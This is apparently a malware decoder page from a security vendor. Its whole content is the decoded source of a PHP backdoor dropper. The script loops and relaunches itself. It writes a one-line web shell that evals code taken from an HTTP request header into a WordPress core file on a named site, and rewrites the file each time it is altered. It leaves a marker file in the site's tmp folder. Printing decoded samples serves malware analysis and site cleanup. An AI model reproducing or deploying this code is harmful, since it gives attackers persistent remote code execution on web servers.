Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$nxlq = 0;
$nwuy = getmypid();
$qkdu = file_get_contents("/proc/$nwuy/cmdline");
$qkdu = str_replace("", " ", $qkdu);
$qkdu = preg_replace('~eval[^;]+;~', "'\\0'", $qkdu);
$qkdu .= '> /dev/null 2>&1 &';


while (true) {

    if ($nxlq > 3) {
        system($qkdu, $lcak);
        if ($lcak == 0) {
        exit;
        }
    }

    epmsq('YTo1OntpOjA7czo2ODoiL3Zhci93d3cvdmhvc3RzL2lob21lZ3JvdXAuY29tL2h0ZG9jcy93cC1pbmNsdWRlcy90ZW1wbGF0ZS1jbGFzcy5waHAiO2k6MTtOO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF9CODVCNzIzJ10pOyI7aTozO2I6MDtpOjQ7czozNDoiL3Zhci93d3cvdmhvc3RzL2lob21lZ3JvdXAuY29tL3RtcCI7fQ==');
    $nxlq++;
    sleep(3);
}

function epmsq($zfll) {
    list ($wyhha, $mdjcx, $htoy, $jpky, $rjwc) = unserialize(base64_decode($zfll));

    if (!$rjwc) {
    $rjwc = dirname($wyhha);
    }

    file_put_contents($rjwc.'/'.md5($htoy), time());

    $qijqa = base64_decode('PD9waHA=').PHP_EOL.$htoy;

    if (!file_exists($wyhha)) {
        file_put_contents($wyhha, $qijqa);
        return;
    }

    $hapm = file_get_contents($wyhha);

    if (md5(trim($hapm)) !== md5($qijqa)) {
        file_put_contents($wyhha, $qijqa);
        return;
    }
}



© 2023 Quttera Ltd. All rights reserved.